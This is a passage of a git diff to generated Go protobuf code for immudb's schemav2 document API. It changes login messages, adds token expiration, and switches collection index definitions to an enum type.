if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[2] + mi := &file_schemav2_proto_msgTypes[3] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -178,7 +348,7 @@ func (x *DocumentSearchResponse) String() string { func (*DocumentSearchResponse) ProtoMessage() {} func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[2] + mi := &file_schemav2_proto_msgTypes[3] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -191,7 +361,7 @@ func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentSearchResponse.ProtoReflect.Descriptor instead. func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{2} + return file_schemav2_proto_rawDescGZIP(), []int{3} } func (x *DocumentSearchResponse) GetResults() []*_struct.Struct { @@ -227,16 +397,15 @@ type LoginRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Username string `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` - Password string `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` - Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` - WriteAccess bool `protobuf:"varint,4,opt,name=writeAccess,proto3" json:"writeAccess,omitempty"` + Username string `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` + Password string `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` + Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` } func (x *LoginRequest) Reset() { *x = LoginRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[3] + mi := &file_schemav2_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -249,7 +418,7 @@ func (x *LoginRequest) String() string { func (*LoginRequest) ProtoMessage() {} func (x *LoginRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[3] + mi := &file_schemav2_proto_msgTypes[4] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -262,7 +431,7 @@ func (x *LoginRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use LoginRequest.ProtoReflect.Descriptor instead. func (*LoginRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{3} + return file_schemav2_proto_rawDescGZIP(), []int{4} } func (x *LoginRequest) GetUsername() string { @@ -286,78 +455,17 @@ func (x *LoginRequest) GetDatabase() string { return "" } -func (x *LoginRequest) GetWriteAccess() bool { - if x != nil { - return x.WriteAccess - } - return false -} - -type LoginResponse struct { +type LoginResponseV2 struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Token string `protobuf:"bytes,1,opt,name=token,proto3" json:"token,omitempty"` + Token string `protobuf:"bytes,1,opt,name=token,proto3" json:"token,omitempty"` + ExpirationTimestamp int32 `protobuf:"varint,2,opt,name=expirationTimestamp,proto3" json:"expirationTimestamp,omitempty"` } -func (x *LoginResponse) Reset() { - *x = LoginResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[4] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *LoginResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*LoginResponse) ProtoMessage() {} - -func (x *LoginResponse) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[4] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use LoginResponse.ProtoReflect.Descriptor instead. -func (*LoginResponse) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{4} -} - -func (x *LoginResponse) GetToken() string { - if x != nil { - return x.Token - } - return "" -} - -type PossibleIndexValue struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - // The kind of value. - // - // Types that are assignable to Kind: - // - // *PossibleIndexValue_NumberValue - // *PossibleIndexValue_StringValue - // *PossibleIndexValue_BoolValue - // *PossibleIndexValue_IntValue - Kind isPossibleIndexValue_Kind `protobuf_oneof:"kind"` -} - -func (x *PossibleIndexValue) Reset() { - *x = PossibleIndexValue{} +func (x *LoginResponseV2) Reset() { + *x = LoginResponseV2{} if protoimpl.UnsafeEnabled { mi := &file_schemav2_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -365,13 +473,13 @@ func (x *PossibleIndexValue) Reset() { } } -func (x *PossibleIndexValue) String() string { +func (x *LoginResponseV2) String() string { return protoimpl.X.MessageStringOf(x) } -func (*PossibleIndexValue) ProtoMessage() {} +func (*LoginResponseV2) ProtoMessage() {} -func (x *PossibleIndexValue) ProtoReflect() protoreflect.Message { +func (x *LoginResponseV2) ProtoReflect() protoreflect.Message { mi := &file_schemav2_proto_msgTypes[5] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -383,86 +491,33 @@ func (x *PossibleIndexValue) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use PossibleIndexValue.ProtoReflect.Descriptor instead. -func (*PossibleIndexValue) Descriptor() ([]byte, []int) { +// Deprecated: Use LoginResponseV2.ProtoReflect.Descriptor instead. +func (*LoginResponseV2) Descriptor() ([]byte, []int) { return file_schemav2_proto_rawDescGZIP(), []int{5} } -func (m *PossibleIndexValue) GetKind() isPossibleIndexValue_Kind { - if m != nil { - return m.Kind - } - return nil -} - -func (x *PossibleIndexValue) GetNumberValue() float64 { - if x, ok := x.GetKind().(*PossibleIndexValue_NumberValue); ok { - return x.NumberValue - } - return 0 -} - -func (x *PossibleIndexValue) GetStringValue() string { - if x, ok := x.GetKind().(*PossibleIndexValue_StringValue); ok { - return x.StringValue +func (x *LoginResponseV2) GetToken() string { + if x != nil { + return x.Token } return "" } -func (x *PossibleIndexValue) GetBoolValue() bool { - if x, ok := x.GetKind().(*PossibleIndexValue_BoolValue); ok { - return x.BoolValue - } - return false -} - -func (x *PossibleIndexValue) GetIntValue() int64 { - if x, ok := x.GetKind().(*PossibleIndexValue_IntValue); ok { - return x.IntValue +func (x *LoginResponseV2) GetExpirationTimestamp() int32 { + if x != nil { + return x.ExpirationTimestamp } return 0 } -type isPossibleIndexValue_Kind interface { - isPossibleIndexValue_Kind() -} - -type PossibleIndexValue_NumberValue struct { - // Represents a double value. - NumberValue float64 `protobuf:"fixed64,1,opt,name=number_value,json=numberValue,proto3,oneof"` -} - -type PossibleIndexValue_StringValue struct { - // Represents a string value. - StringValue string `protobuf:"bytes,2,opt,name=string_value,json=stringValue,proto3,oneof"` -} - -type PossibleIndexValue_BoolValue struct { - // Represents a boolean value. - BoolValue bool `protobuf:"varint,3,opt,name=bool_value,json=boolValue,proto3,oneof"` -} - -type PossibleIndexValue_IntValue struct { - // Represents a int64 value - IntValue int64 `protobuf:"varint,4,opt,name=int_value,json=intValue,proto3,oneof"` -} - -func (*PossibleIndexValue_NumberValue) isPossibleIndexValue_Kind() {} - -func (*PossibleIndexValue_StringValue) isPossibleIndexValue_Kind() {} - -func (*PossibleIndexValue_BoolValue) isPossibleIndexValue_Kind() {} - -func (*PossibleIndexValue_IntValue) isPossibleIndexValue_Kind() {} - type CollectionCreateRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - PrimaryKeys map[string]*PossibleIndexValue `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` - IndexKeys map[string]*PossibleIndexValue `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + PrimaryKeys map[string]PossibleIndexType `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` + IndexKeys map[string]PossibleIndexType `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` } func (x *CollectionCreateRequest) Reset() { @@ -504,14 +559,14 @@ func (x *CollectionCreateRequest) GetName() string { return "" } -func (x *CollectionCreateRequest) GetPrimaryKeys() map[string]*PossibleIndexValue { +func (x *CollectionCreateRequest) GetPrimaryKeys() map[string]PossibleIndexType { if x != nil { return x.PrimaryKeys } return nil } -func (x *CollectionCreateRequest) GetIndexKeys() map[string]*PossibleIndexValue { +func (x *CollectionCreateRequest) GetIndexKeys() map[string]PossibleIndexType { if x != nil { return x.IndexKeys } @@ -523,9 +578,9 @@ type CollectionInformation struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - PrimaryKeys map[string]*PossibleIndexValue `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` - IndexKeys map[string]*PossibleIndexValue `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + PrimaryKeys map[string]PossibleIndexType `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` + IndexKeys map[string]PossibleIndexType `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` } func (x *CollectionInformation) Reset() { @@ -567,20 +622,67 @@ func (x *CollectionInformation) GetName() string { return "" } -func (x *CollectionInformation) GetPrimaryKeys() map[string]*PossibleIndexValue { +func (x *CollectionInformation) GetPrimaryKeys() map[string]PossibleIndexType { if x != nil { return x.PrimaryKeys } return nil } -func (x *CollectionInformation) GetIndexKeys() map[string]*PossibleIndexValue { +func (x *CollectionInformation) GetIndexKeys() map[string]PossibleIndexType { if x != nil { return x.IndexKeys } return nil } +type CollectionGetRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` +} + +func (x *CollectionGetRequest) Reset() { + *x = CollectionGetRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[8] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionGetRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionGetRequest) ProtoMessage() {} + +func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[8] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionGetRequest.ProtoReflect.Descriptor instead. +func (*CollectionGetRequest) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{8} +} + +func (x *CollectionGetRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + type CollectionListRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -590,7 +692,7 @@ type CollectionListRequest struct { func (x *CollectionListRequest) Reset() { *x = CollectionListRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[8] + mi := &file_schemav2_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -603,7 +705,7 @@ func (x *CollectionListRequest) String() string { func (*CollectionListRequest) ProtoMessage() {} func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[8] + mi := &file_schemav2_proto_msgTypes[9] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -616,7 +718,7 @@ func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionListRequest.ProtoReflect.Descriptor instead. func (*CollectionListRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{8} + return file_schemav2_proto_rawDescGZIP(), []int{9} } type CollectionListResponse struct { @@ -630,7 +732,7 @@ type CollectionListResponse struct { func (x *CollectionListResponse) Reset() { *x = CollectionListResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[9] + mi := &file_schemav2_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -643,7 +745,7 @@ func (x *CollectionListResponse) String() string { func (*CollectionListResponse) ProtoMessage() {} func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[9] + mi := &file_schemav2_proto_msgTypes[10] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -656,7 +758,7 @@ func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionListResponse.ProtoReflect.Descriptor instead. func (*CollectionListResponse) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{9} + return file_schemav2_proto_rawDescGZIP(), []int{10} } func (x *CollectionListResponse) GetCollections() []*CollectionInformation { @@ -677,7 +779,7 @@ type CollectionDeleteRequest struct { func (x *CollectionDeleteRequest) Reset() { *x = CollectionDeleteRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[10] + mi := &file_schemav2_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -690,7 +792,7 @@ func (x *CollectionDeleteRequest) String() string { func (*CollectionDeleteRequest) ProtoMessage() {} func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[10] + mi := &file_schemav2_proto_msgTypes[11] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -703,7 +805,7 @@ func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{10} + return file_schemav2_proto_rawDescGZIP(), []int{11} } func (x *CollectionDeleteRequest) GetName() string { @@ -713,6 +815,53 @@ func (x *CollectionDeleteRequest) GetName() string { return "" } +type Proof struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` +} + +func (x *Proof) Reset() { + *x = Proof{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[12] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Proof) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Proof) ProtoMessage() {} + +func (x *Proof) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[12] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Proof.ProtoReflect.Descriptor instead. +func (*Proof) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{12} +} + +func (x *Proof) GetName() string { + if x != nil { + return x.Name + } + return "" +} + var File_schemav2_proto protoreflect.FileDescriptor var file_schemav2_proto_rawDesc = []byte{ @@ -734,182 +883,197 @@ var file_schemav2_proto_rawDesc = []byte{ 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x80, 0x02, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x47, - 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, - 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x1a, 0x50, 0x0a, 0x0a, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, - 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, - 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, - 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x84, 0x01, 0x0a, 0x0c, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, - 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x77, 0x72, - 0x69, 0x74, 0x65, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0b, 0x77, 0x72, 0x69, 0x74, 0x65, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0x25, 0x0a, 0x0d, - 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, - 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, - 0x6b, 0x65, 0x6e, 0x22, 0xa6, 0x01, 0x0a, 0x12, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, - 0x6d, 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, - 0x48, 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, - 0x23, 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1d, 0x0a, 0x09, 0x69, 0x6e, 0x74, 0x5f, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x08, 0x69, 0x6e, 0x74, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0xa9, 0x03, 0x0a, - 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x0b, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x39, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x8f, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3a, 0x0a, 0x08, + 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, + 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, + 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x34, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, + 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, + 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 